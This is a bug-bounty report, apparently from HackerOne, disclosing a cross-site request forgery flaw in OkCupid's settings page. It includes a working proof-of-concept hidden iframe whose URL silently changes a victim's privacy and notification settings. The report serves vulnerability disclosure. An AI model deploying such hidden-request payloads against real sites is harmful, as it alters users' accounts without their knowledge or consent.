OkCupid: Users can easily be tricked into changing/disabling privacy and notification settings

ID H1:2957
Type hackerone
Reporter melvin
Modified 2014-04-09T15:14:08


The page at www.okcupid.com/settingsis not protected against Cross-Site Request Forgery (CSRF) attacks. This means that an attacker can trick users into clicking a link, which will immediately change the settings of a user, without the user even being aware of the changes.

The attack works like this:

An attacker creates a webpage on a (non-okcupid) website (for example: http://example.com/cat.html) and inserts a (hidden) iframe like this:

<iframe style="width:0px;height:0px" src="https://www.okcupid.com/settings?general=1&going_to=&submitbutton=1&email_pri={email of the victim}&newpassword1=&newpassword2=&oldpassword=&emailnotify=0&emailnotify=3&allowquickmatchnotifications=1&allowmutualmatchemails=1&allowquiveremails=1&allownewsletter=1&allowotheremails=1&allowstalkeremails=1&alloweventnotifications=1&submitbutton=1">

The attacker will have to know the email address of the victim. When the victim visits the page at http://example.com/cat.html, his/her OKCupid privacy (!) and notification settings will all be disabled in the background (see attachment: new_settings.png).